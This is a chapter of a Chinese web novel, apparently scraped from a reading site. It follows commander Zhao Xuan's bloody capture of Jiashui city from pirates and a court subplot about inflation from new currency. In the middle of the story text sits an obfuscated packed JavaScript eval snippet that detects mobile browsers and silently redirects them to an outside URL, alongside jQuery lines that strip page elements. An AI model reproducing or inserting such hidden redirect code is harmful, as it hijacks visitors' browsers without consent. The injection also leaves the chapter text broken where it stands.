100. 赵璇不悦

作品:《在古代开戏本杀馆爆火了

    对周徽此人,赵璇印象并不深刻,但她觉得周徽挺特别。


    毕竟兴平侯府尚存时,也是些分量的权贵,周徽身为侯府长房幼子,怎么也不至于在护城军徽定卫部做事。


    何况她还记得,司徒相艳对周徽评价可并不低,河三庭起步时,周徽被划分到值得培养的范围中。


    要知道一开始徽定卫里几个不堪大用的百夫长全被赵璇几人拨去闲职上了。


    如今徽定卫中,仅有窦刀在河三庭以前便是徽定卫部百夫长,焦百夫长是司徒相艳提拔上来的。


    若周徽不是兴平侯府的人,估计还会在徽定卫百夫长的位置上。


    可周徽是,不仅是,他还有能力。


    即便能力不算顶尖,但有如此家世,进御前侍卫队绰绰有余,不至于在护城军甚至是徽定卫部混。


    事出反常必有妖,她与司徒相艳那种唯能力论不一样,故而赵璇对周徽抱有隐秘的警惕心。


    除去兴平侯府时,她甚至因为周徽在徽定卫中不复存在而感到安心。


    现在她再度与周徽碰面,她对周徽的能力评估要更高一些。


    因为周徽在被追杀的同时,能搭上桐姬公主这条线。


    在赵璇发现夺回的冒州城池中,桐姬公主放置财宝的库房没被人动过,她就怀疑海寇那边与桐姬公主有脱不开的干系。


    赵璇可以肯定桐姬公主与周徽私下有些交易。


    血河静静流淌,穿过微微震颤的吊桥。


    窦刀偏头不经意间看见赵璇眼中的晦暗之色。


    凌人气势下那张细看其实颇为秀气动人的脸仿若被沼泽黑泥与坚冰冻住了,燥热的夕阳也融化不了她。


    赵璇察觉了这道视线:“怎么了?”


    窦刀隐隐猜测赵璇不悦与周徽有关,“没能铲除兴平侯府后患,是在下的责任。”


    从徽定卫手中逃脱的人必有过人之处,赵璇并不会怪底下的人,“没事,他了无音讯这么久,大家都会以为他已经死在哪个角落里了。”


    赵璇能猜到一点桐姬公主与周徽的交易。


    桐姬公主远离京城那么多年,也远离了大晋权力中心。


    此番桐姬公主回京还要保下敛来的财物,她的野心肯定并未因先皇贬斥而磨灭。


    她大概是要借着这笔巨额财宝,与新皇合作在京城权贵中重新站稳脚跟。


    新皇是半路冒出来的皇室血脉,有曾圣宠万千的桐姬公主支持,皇权定然会更加稳固。


    不过以桐姬公主那时的能力,与周徽交易能给的也不多。


    赵璇有些无奈和疲惫,绕一大圈她还是没摆脱成为棋子的宿命。


    这位桐姬公主,将她当做筹码交易保全了自己的财宝。


    当然,她这枚筹码充其量只是被人放在赌桌上,能不能被周徽赢走还得看命。


    桐姬公主却是不亏的,财宝已经运往京城了。


    赵璇盯着满是血污的嘉水城城墙。


    就算她收复涟州,赢了。


    桐姬公主也不是她能动的人。


    在她回京之前,桐姬公主绝对已经回到权力中心,与新皇和赵家共享荣华。


    严格来说桐姬公主甚至算赵家这边的盟友。


    赵璇能预料到桐姬公主会大力支持律法革新以此来接近赵明熙这个皇后。


    律法革新不再纯洁,京城几乎是一言堂了,再偏离一点便近似某种寡头政坛。


    这个想法从脑子里蹦出来时,赵璇一愣。


    熙玲郡主与张枉等人是真心想进行律法革新的人,他们的的确确想让大晋因为新法变得更好,这无可置疑。


    赵明熙…


    绝对是为了利用新法揽权,不过赵明熙也没有其它选择,她所处的立场已经注定她要走律法革新的路子。


    剩下那些支持新法的朝臣,真真假假虚虚实实难以辨认谁在里头浑水摸鱼。


    照理赵璇不该在现在为京城分心。


    但她有些不安,这种不安愈演愈烈。


    为了攻打下嘉水城,军队付出了很大的代价。


    晋军尸体已经快堆到城墙那么高了,海寇站在城墙上开始浇油,点着尸体以阻碍晋军上城墙。


    赵璇最后在火中登上城墙,晋军几乎是以惨烈的姿态破开嘉水城城门。


    僵持了七天七夜后,海寇仍然抵抗。


    一部分打算掩护大军师撤离,一部分与晋军厮杀。


    比起蚌营,嘉水城更为凄惨,房屋被烧的破破烂烂,部分腐尸被推在城门内处堵门。


    晋军破开城门后迎接的就是堆成小山的尸体,很多久经沙场的老将也受不了了,红着眼角干呕出声。


    海寇的的确确是一群畜生。


    赵璇厌恶的看向周徽逃离的方向。


    周徽被一群海寇护着离开了嘉水城,赵璇没有追击,军队需要休养一段时间。


    被俘的人中有个据说是海寇第五将军,他身上有封信。


    信被呈到赵璇手中。


    “那海寇说您看到这封信会放走他的。”呈信的徽定卫说。


    赵璇看了信,扯起一个笑:“第五将军不认字吧。”


    信是周徽写的。


    「今南边惨状,全因赵安监当年作为,伏尸遍野如此,赵安监可还满意。


    兴平侯府周徽敬上」


    第五将军被押在废墟中,那废墟足有十多米高。


    赵璇过来时第五将军还在挣扎,阴恻恻看了赵璇一眼又变了一副脸,开始满口求饶。


    “这厮藏在里头差点给他躲过去了。”押他的人道。


    废墟实在是高的离谱,赵璇抬头望了眼废墟,“这之前建的什么?”


    押人的将士正好是涟州人,他瞧了眼这楼的位置道:“应该是夺元楼吧。”


    原来这就是乔小姐说的夺元楼,赵璇进去看了看,面积很大,烧成废墟都能在里面捉迷藏。


    “这人怎么处置?”窦刀问。


    赵璇:“该怎么办就这么办。”


    第五将军死了,死前还叫唤着那封信可以保他一命。


    赵璇觉得他有点太蠢了,把信的内容一个字一个字念给他听,让他做个明白鬼。


    听到信中内容的窦刀脸色不太好看,兴平侯府本来就死有余辜,这场南伐也不该被看做是赵璇造成的。


    赵璇也是这么觉得的,但看见城内清不完的尸体,她摸着刀柄的手颤了颤。


    兴平侯府案称得上是河三庭起步的案子,后面河三庭处理的事件中,也有许多是以兴平侯案为起点牵扯出来的案子。


    甚至连皇权更迭,也有河三庭无意识推动促成的原因在里面。


    一环扣一环。


    某种意义上来说,河三庭又或是她,还真的是造就南伐的源头。


    尽管赵璇绝无想促成战争的想法。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452465|191256||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    但战争就是这么离奇又情理之中地发生了。


    周徽这个逃命王因为仇恨带领海寇屠杀无数大晋人。


    现下周徽逃到涟州西南部,或许正等着她来。


    *


    黄纣的造币之计一出,为朝廷从粮商和大族那里买来大量粮食。


    朝中上下都松了口气,除了祝恢、郑固游和黄立心之流。


    祝恢出生落魄寒门,虽衣食温饱足矣,但困难之时家中亲人全下地帮耕了,包括他。


    偶尔他还要去城内帮家中买卖粮食。


    有此历经,祝恢更能体察民情。


    造新币确实能缓解朝廷压力,但真实施起来,新皇能否让新币发行在可控制的范围有待商榷。


    很快祝恢得到了答案。


    粮价涨了,不仅粮价,柴和油皆因为新币流入过多涨价了。


    其中粮价涨的尤为快,朝廷向商人和大族收购的价格都涨了三成。


    祝恢想上书皇帝,被老师阻止了。


    “你知道你这么做,会惹恼多少世家吗?”老师沉着脸,把他的折子压在烛台下,“本来世家便因为新法对陛下不满,现下发行新币能让他们从中得利,也能让他们更加安分。”


    祝恢瞥了眼折子,语气怀疑道:“老师,朝中八九成人支持新法,世家的人不在少数,这是对新法不满?”


    他老师道:“明眼人都知道陛下革新律法之心已定,世家不顺着陛下,难道等着赵家手中的兵踏平府上。”


    “走了一个赵璇,赵大云可还在燕州离京城不远。”


    在朝臣眼中,赵家所有人都是新皇党羽,对新皇听之任之。


    老师:“不过赵璇走了,世家也能在私下放开手脚。黄纣那个老家伙是只独眼狼,睁一只眼闭一只眼却什么都看得清。


    为了替新皇安抚世家,这么损的法子也想的出来。”


    祝恢被话里的信息打的有些头晕眼花。


    他清楚了一点,如今物价飞涨的局面,黄老太傅早就预料到了。


    祝恢看着老师,目光沉沉:“可这样做会死很多人。”


    他老师呵呵一笑,“打仗就不死人吗?耕地里都有累死的佃户,对于大晋来说,这些人只要不死光就行。财富是可以保留的,但人可是会死去。”


    大晋是世家和皇室的大晋,老师说。


    秋日乍寒,茶室内风铃叮当。


    郑固游替另二人斟茶,眉眼清淡,“不控制新币流入,后果不堪设想。”


    祝恢:“老师扣了我的上折子。”


    黄立心果断道:“那便再写一封。”


    郑固游摇头:“陛下能不能看到还是一回事,很可能会被黄老那边扣下来。”


    思索半晌,黄立心说:“不如找书院学子联名上书,我有些关系不错的同窗。”


    他指的是当初夜袭司天监那帮人,请他们联名上书,人多声量也大。


    郑固游却仍是觉得不行,“张枉为官前与不少学子共商过革新之事,他现在与那些人关系不错又是朝中新贵,绝大多数学子估计是支持新法的,我们难以说动那么多人上书请命。”


    两边都走不通,三人陷入困境。


    茶满却凉了个透。


    黄立心突然一拍脑门,“我知道有个人,她或许可以帮忙。”


    祝恢忙问:“谁?”


    黄立心:“熙玲郡主。”